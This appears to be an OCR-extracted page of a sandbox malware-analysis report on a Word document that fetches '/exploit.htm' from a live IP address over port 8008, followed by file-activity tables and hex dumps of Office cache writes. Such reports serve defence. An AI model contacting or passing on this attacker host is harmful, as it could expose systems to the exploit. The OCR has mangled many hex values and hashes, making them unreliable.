User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)

UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: 117.48.146.246:8008
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:38 GMT
Content-Type: application/octet-stream
Content-Length: 5982

Destination Port Process

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Data

HEAD /exploit.htm HTTP/1.1

User-Agent: Microsoft Office Existence Discovery
Host: 117.48.146.246:8008

Content-Length: 0

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2022 05:10:39 GMT
Content-Type: application/octet-stream
Content-Length: 5982
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@ No statistics

System Behavior

Analysis Process: WINWORD.EXE PID: 828, Parent PID: 576

General

Target ID: 0

Start time: 07:11:14

Start date: 15/06/2022

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase: 0x13f280000

File size: 1423704 bytes

MDS5 hash: 9EE74859D22DAE61F1750B3A1BACB6F5

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Mi read data or list  device directory file | success or wait 1 7FEEE95F645 CreateDirect
crosoft\Office\14.0\OfficeFileCache directory | synchronous io oryWw
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276- read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFilew
41E2-93CB-F148AEE50BE1} synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list ~ device sequential only | ' success or wait 1 7FEEE95B1C3 CopyFileEx
crosoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSD directory | read non directory file W
attributes |
delete | syn
chronize |
generic write
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFileCache\FSD-{2A40B0OAC- synchronize | non alert | non
ACBB-463B-8DC0-568E01ED388D}.FSD generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list  device directory file | success or wait 1 7FEEE95F645 CreateDirect
crosoft\Office\14.0\OfficeFile directory | synchronous io oryWw
Cache\LocalCacheFileEditManager synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080- read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
4C78-9E4E-C39E5F92BCDO} synchronize | non alert | non
generic write directory file |
open no recall
C:\Users\user\AppData\Local\Mi read data or list  device sequential only |  success or wait 1 7FEEE95B1C3 CopyFileEx
crosoft\Office\14.0\OfficeFile directory | read synchronous io W
Cache\LocalCacheFileEditManager\FSD-CNRY.FSD attributes | non alert | non
delete | syn directory file
chronize |
generic write
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW
crosoft\Office\14.0\OfficeFile synchronize | non alert | non
Cache\LocalCacheFileEditManager\FSF-{OE1EEE64- generic write directory file |
E8C6-4E2A-9759-63CF07FD8988}.FSF open no recall

Copyright Joe Security LLC 2022 Page 24 of 66



File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 7FEEE94DBCD CreateFileW

crosoft\Office\14.0\OfficeFile synchronize | non alert | non

Cache\LocalCacheFileEditManager\FSD-{4FD4A456- generic write directory file |

B142-48A7-8A26-7CC29A810637}.FSD open no recall

C:\Users\user\AppData\Local\Temp\VBE read data or list  device directory file | success or wait 1 6E262B14 CreateDirect
directory | synchronous io oryA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Mi read attributes |  device synchronous io  success or wait 1 6E2E0648 unknown
crosoft\Windows\Temporary Internet synchronize | non alert | non
Files\Content.Word\~WRS{0F1199C9-FFD7-4240-8F04- generic read | directory file |
53D52631A074}.tmp generic write open no recall
C:\Users\user\AppData\Local\Microsoft\Office\14.0\ read data or list  device directory file | object name collision 1 7FEEE944B20 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident
| open reparse
point

File Deleted
File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\{6B16DF9D-3276-41E2-93CB-F148AEE50BE1} success or wait 1 7FEEE95ADA42 DeleteFilew
C:\Users\user\AppData\Local\Temp\{4EBE4D7B-7080-4C78-9E4E-C39E5F92BCDO} success or wait 1 7FEEE95ADA42 DeleteFileW

C:\Users\user\Desktop\~$hoKQk8G6.docx success or wait 1 6E2E0648 unknown

Old File Path New File Path Completion Count Source Address Symbol

File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\ 0 512 Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhA6&S,XFFaq  success or wait 1 7FEEE917A59 WriteFile

{6B16DF9D-3276-41E2-93CB-F1 46 79 fd fd fd 7a 4b fd 32 WAIB:N;$INMD9xxxx

48AEE50BE1} fd 46 68 41 fd fd Oa fd 36
fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 57 5e 07 fd fd 6c fd
42 fd 3a fd fd 1a 4e 3b fd
05 00 00 00 00 00 00 00
fd fd fd 24 13 6c fd 4e fd
02 fd fd 1a 4d 44 39 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd 0Of fd 78 fd
0Of fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

C:\Users\user\AppData\Local\Temp\ 76 40 57 5e 07 fd fd 6¢ fd 42 fd = WAIB:N;$INMD9 success or wait 1 TFEEE917A59 WriteFile
{6B16DF9D-3276-41E2-93CB-F1 3a fd fd 1a 4e 3b fd 05 00
48AEE50BEL} 00 00 00 00 00 00 fd fd fd

24 13 6¢ fd 4e fd 02 fd fd

la 4d 44 39
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File Path

C:\Users\user\AppData\Local\Temp\
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}
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Offset

512

512

1536

Length Value

65024

1024

16

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Ascii

zv @

zvV @

Completion

success or wait

success or wait

success or wait

Count Source Address

2 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 0
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\ 76
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\ 2560
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\ 2576
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}

C:\Users\user\AppData\Local\Temp\ 1552
{6B16DF9D-3276-41E2-93CB-F1
48AEE50BE1}
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Length Value

512

40

4096

4

24

Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhAB&S,XFFaq
46 79 fd fd fd 7a 4b fd 32 WAIB:N;$INMD9xxxx

fd 46 68 41 fd fd Oa fd 36
fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 57 5e 07 fd fd 6¢ fd
42 fd 3a fd fd 1a 4e 3b fd
05 00 00 00 00 00 00 00
fd fd fd 24 13 6¢ fd 4e fd
02 fd fd 1a 4d 44 39 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd Of fd 78 fd
Of fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

57 5e 07 fd fd 6c fd 42 fd
3a fd fd 1a 4e 3b fd 05 00
00 00 00 00 00 00 fd fd fd
24 13 6c fd 4e fd 02 fd fd
la 4d 44 39

fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

03 10 fd fd

10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00
01 00 00 00 68 fd fd 28

Ascii

WAIB:N;$INMD9

zVvV

h(

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\ 0 512 Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhA6&S,XFFaq  success or wait 1 7FEEE917A59 WriteFile
{6B16DF9D-3276-41E2-93CB-F1 46 79 fd fd fd 7a 4b fd 32 WAIB:N;$INMD9xxxx
48AEE50BE1} fd 46 68 41 fd fd Oa fd 36

fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 57 5e 07 fd fd 6¢ fd
42 fd 3a fd fd 1a 4e 3b fd
05 00 00 00 00 00 00 00
fd fd fd 24 13 6¢ fd 4e fd
02 fd fd 1a 4d 44 39 00
06 00 00 00 00 00 00 00
04 00 00 02 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 00 00 00 00 00 00
00 00 00 1a 00 00 00 00
00 00 00 02 00 00 00 00
00 00 00 04 00 00 00 00
02 00 00 00 00 00 00 00
00 00 fd 78 fd Of fd 78 fd
Of fd 78 fd Of fd 78 fd Of
01 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00
C:\Users\user\AppData\Local\Mi 0 65536  Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhAG&S,XFFaqgs success or wait 2 7FEEE95B1C3 CopyFileExW
crosoft\Office\14.0\OfficeFile 46 79 fd fd fd 7a 4b fd 32 PDP;$INMDAEXXXX
Cache\FSD-CNRY.FSD fd 46 68 41 fd fd Oa fd 36

fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 fd fd Of 73 50 fd
44 fd 50 Ob 3b fd fd 08 Ob
00 00 00 00 00 00 00 fd
fd fd 24 13 6¢ fd 4e fd 02
fd fd 1a 4d 44 39 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00
C:\Users\user\AppData\Local\Mi 76 40 04 fd fd Of 73 50 fd 44 fd  sPDP;$INMD9 success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 50 0b 3b fd fd 08 Ob 00
Cache\FSD-CNRY.FSD 00 00 00 00 00 00 fd fd fd

24 13 6c fd 4e fd 02 fd fd

la 4d 44 39
C:\Users\user\AppData\Local\Mi 6656 51 fd3627fdfd 17 41fdfd 6A{g@ EbZB{im>I success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 7b 67 06 fd 13 0d 03 00
Cache\FSD-CNRY.FSD 02 00 fd 00 40 20 45 62

fd le fd 5a fd 42 fd 7b 69
fd d0 6d fd Oa 03 00 00
3e 03 00 00 fd 01 49
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi 6712 4096 fdfd fd fd fd 7a 56 fd 12  zV*a&G;efHkX,MN@LE- success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 00 00 00 00 00 00 00 03  7;efHkX,~%9
Cache\FSD-CNRY.FSD 10 fd fd 06 00 fd fd fd 2a ~ CNUJ;efHkX,SxB7;efHkX,

fd6126fd47fdfdfdfd  IFmL%
fd fd 03 01 00 00 00 02
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 01 00
00 00 06 00 fd fd 7f 4d d4
4e 40 4c fd fd fd fd 45 04
2d 37 01 00 00 00 05 00
00 00 00 00 00 00 fd 3b
04 02 fd 65 66 48 fd fd 6b
06 13 58 fd 2¢ 03 00 00
00 06 00 fd fd 06 7e 25
39 09 43 4e fd 0a 55 1b
fd 7c fd fd 01 00 00 00 08
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd 53 f2 fd fd
78 fd 42 fd fd fd fd 37 fd fd
fd 01 00 00 00 10 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2c 03 00 00 00
06 00 fd fd Ob fd 49 fd fd
01 46 fd 6d fd 4c 05 fd 25
fd 01 00 00 00 14 00 00

C:\Users\user\AppData\Local\Mi 2580 50 05 fd 00 fd 40 03 07 fd fd @*a&G success or wait 8 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 2afd 61 26 fd 47 fd fd fd
Cache\FSD-CNRY.FSD fd fd fd 03 01 00 00 00 01

05 00 01 00 00 00 00 00

00 00 fd fd fd fd fd fd fd fd

00 00 00 00
C:\Users\user\AppData\Local\Mi 1576 32 1000000002000000 :a success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 11 00 00 00 02 00 00 00
Cache\FSD-CNRY.FSD 12 00 00 00 02 00 00 00

01 00 00 00 fd 3a 61 fd
C:\Users\user\AppData\Local\Mi 0 512 Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhA6&S,XFFags @ success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 46 79 fd fd fd 7a 4b fd 32 PDP;$INMDAEXXXX
Cache\FSD-CNRY.FSD fd 46 68 41 fd fd Oa fd 36

fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 fd fd 0f 73 50 fd
44 fd 50 Ob 3b fd fd 08 Ob
00 00 00 00 00 00 00 fd
fd fd 24 13 6c fd 4e fd 02
fd fd 1a 4d 44 39 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

C:\Users\user\AppData\Local\Mi 76 40 04 fd fd Of 73 50 fd 44 fd  sPDP;$INMD9 success or wait 1 TFEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 50 Ob 3b fd fd 08 Ob 00
Cache\FSD-CNRY.FSD 00 00 00 00 00 00 fd fd fd

24 13 6c fd 4e fd 02 fd fd

la 4d 44 39
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

10808

14904

15032

10824

1608

Length Value Ascii Completion Count Source Address

4096

122

81

56

40

fd fd fd fd fd 7a 56 fd 13 ~ zVB5uKe”PuUOMMCOY  success or wait 1 7FEEE917A59
00 00 00 00 00 00 00 03  peqFtFrc88xVI<HR~ -
10 fd fd 06 00 fd 42 35 fd = #N7)<&|IJRwps5A0R
fd 75 fd fd 4b fd 65 5e 50

75 fd 55 0f 01 00 00 00

06 00 00 00 00 00 00 00

30 fd fd 4d fd 4d 43 4f fd

59 fd 1c fd 70 06 65 01

00 00 00 06 00 fd fd fd 71

fd fd fd fd 46 fd fd 74 46

fd 72 63 38 01 00 00 00

11 00 00 00 00 00 00 00

38 78 56 fd 1d 49 3c 48

fd 1b fd 52 fd fd 7e 01 00

00 00 06 20 fd fd 2d fd 23

27 07 fd fd 4e fd 37 29 3c

26 fd 7c fd 06 00 00 00

12 00 00 00 00 00 00 00

fd fd 84 fd fd 0d 4a fd fd

52 0c 77 fd 70 73 01 00

00 00 fd fd fd 10 35 fd 41

fd 6f fd fd 01 fd fd 52 01

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00

ea 6949 00 0c 56 0c 42  iIVB5uKe"PuUO|EVK® success or wait 1 7FEEE917A59
35fdfd 75 fd fd 4b fd 65  8fJRwpsIJRwps5A0R
5e 50 75 fd 55 Of fd fd 4f

fd 7c a0 fd 45 fd 24 56 06

fd fd 4b 01 00 00 00 00

00 00 00 05 60 20 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 38 66

14 fd fd 84 fd fd Od 4a fd

fd 52 Oc 77 fd 70 73 Oc fd

fd 84 fd fd 0d 4a fd fd 52

Oc 77 fd 70 73 Oc fd fd fd

10 35 fd 41 fd 6f fd fd 01

fd fd 52 05

3e 0300005427 0c42 >T'B5uKe”PuUyjXSQJR  success or wait 2 7FEEE917A59
35 fd fd 75 fd fd 4b fd 65  wps5A0RT

5e 50 75 fd 55 0f 79 00

6a 03 00 00 58 53 51 fd

fd 84 fd fd 0d 4a fd fd 52

Oc 77 fd 70 73 01 00 00

00 fd fd fd 10 35 fd 41 fd

6ffd fd 01 fd fd 52 01 00

00 00 fd 54 07 00 00 00

fd fd 01

03 10 fd fd 06 00 fd 42 35 B5uKe”PuUOMMCOYpe  success or wait 4 7FEEE917A59
fd fd 75 fd fd 4b fd 65 5e

50 75 fd 55 0f 01 00 00

00 06 00 00 00 00 00 00

00 30 fd fd 4d fd 4d 43 4f

fd 59 fd 1c fd 70 06 65 01

00 00 00

1000 000003000000 uu success or wait 1 7FEEE917A59
11 00 00 00 06 00 00 00

12 00 00 00 04 00 00 00

13 00 00 00 02 00 00 00

01 00 00 00 75 75 fd fd

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi 0 512 Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhA6&S,XFFags success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 46 79 fd fd fd 7a 4b fd 32 PDP;$INMD9AEXXXX
Cache\FSD-CNRY.FSD fd 46 68 41 fd fd Oa fd 36

fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 fd fd Of 73 50 fd
44 fd 50 Ob 3b fd fd 08 Ob
00 00 00 00 00 00 00 fd
fd fd 24 13 6¢ fd 4e fd 02
fd fd 1a 4d 44 39 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

C:\Users\user\AppData\Local\Mi 76 40 04 fd fd Of 73 50 fd 44 fd  sPDP;$INMD9 success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 50 0b 3b fd fd 08 Ob 00
Cache\FSD-CNRY.FSD 00 00 00 00 00 00 fd fd fd

24 13 6c fd 4e fd 02 fd fd

la 4d 44 39

C:\Users\user\AppData\Local\Mi 15208 134 €a 6949 000c560c2d ilV-#N7) success or wait 4 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile fd 2327 07 fd fd 4e fd 37  <&|D"3Kh(2+ndMA!9u'R
Cache\FSD-CNRY.FSD 293c26fd7c 4044 60  O"9,'MaB)X>y

fd 33 1c fd Oa 4b fd fd fd

68 fd fd 28 Oc 03 00 00

00 00 00 00 00 Ob fd 00

fd 32 fd fd 2b 6e fd 64 4d

fd 41 fd fd 21 fd fd 10 18

fd 01 00 00 11 03 39 03

00 75 fd 00 fd 60 03 Oc fd

Of fd fd 52 fd fd 4f fd fd fd

fd fd 22 fd 00 39 01 00 00

00 00 00 00 00 10 00 00

00 2c¢ 27 fd 00 01 fd fd 4d

fd 61 36 fd 29 58 3e fd 79

05
C:\Users\user\AppData\Local\Mi 15720 70 €a 6949 000c56342d ilV4-#N7) success or wait 2 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile fd 2327 07 fd fd 4e fd 37  <&|D"3Kh(X"8xVI<HR~
Cache\FSD-CNRY.FSD 29 3c 26 fd 7c 40 44 60

fd 33 1c fd Oa 4b fd fd fd
68 fd fd 28 Oc 0a 00 00
00 00 00 00 00 07 58 22
Oc 38 78 56 fd 1d 49 3¢
48 fd 1b fd 52 fd fd 7e 05
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Mi 15984 328 3e 03000054 270c42 >T'B5uKe”PuUyjXSQJR  success or wait 2 TFEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 35fdfd 75 fd fd 4b fd 65  wps5A0RT-#'N7)<&|TT'-
Cache\FSD-CNRY.FSD 5e 50 75 fd 55 0f 79 00 #N7)<&|T'$-#N7)<&

6a 030000585351 fd  [9T'4-#N7)
fd 84 fd fd 0d 4a fd fd 52 <&|)rX+)8xVI<HR~TqF
0c 77 fd 70 7301 00 00  tFrc8-#'N7)<&|-#N7
00 fd fd fd 10 35 fd 41 fd

6ffd fd 01 fd fd 52 01 00

00 00 fd 54 27 14 2d fd

23 27 07 fd fd 4e fd 37 29

3c 26 fd 7c fd 19 00 fd 03

00 00 fd 54 07 00 00 00

fd 54 27 1c 2d fd 23 27

07 fd fd 4e fd 37 29 3c 26

fd 7c fd 19 00 fd 03 00 00

fd 54 27 24 2d fd 23 27

07 fd fd 4e fd 37 29 3c 26

fd 7c fd 39 00 fd 03 00 00

fd 54 27 34 2d fd 23 27

07 fd fd 4e fd 37 29 3c 26

fd 7c fd 29 00 72 03 00

00 58 2b 29 38 78 56 fd

1d 49 3c 48 fd 1b fd 52 fd

fd 7e 01 00 00 00 fd 54 fd

Oc fd fd 71 fd fd fd fd 46

fd fd 74 46 fd 72 63 38 fd

09 Oc 2d fd 23 27 07 fd fd

4e fd 37 29 3c 26 fd 7c fd

14 2d fd 23 27 07 fd fd 4e

fd 37
C:\Users\user\AppData\Local\Mi 2804 448 05 fd 00 fd 6d 07 11 2d fd m-#N7)<&|~-#N7)<&|- success or wait 8 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 232707 fd fd 4e fd 37 29 #N7)<&|-#N7)<&|-#N7)
Cache\FSD-CNRY.FSD 3c 26 fd 7c fd 01 00 00 <&|

00 01 02 00 09 00 00 00

00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd 7e 07 Of 2d fd 23 27
07 fd fd 4e fd 37 29 3c 26
fd 7c fd 02 00 00 00 01
06 00 0a 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 0f 2d fd 23 27 07 fd fd
4e fd 37 29 3¢ 26 fd 7c fd
03 00 00 00 01 06 00 Ob
00 00 00 00 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd 07 11
2d fd 23 27 07 fd fd 4e fd
3729 3¢ 26 fd 7c fd 04
00 00 00 01 06 00 Oc 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 09 2d fd
2327 07 fd fd 4e fd 37 29
3c 26 fd 7c fd 06 00 00
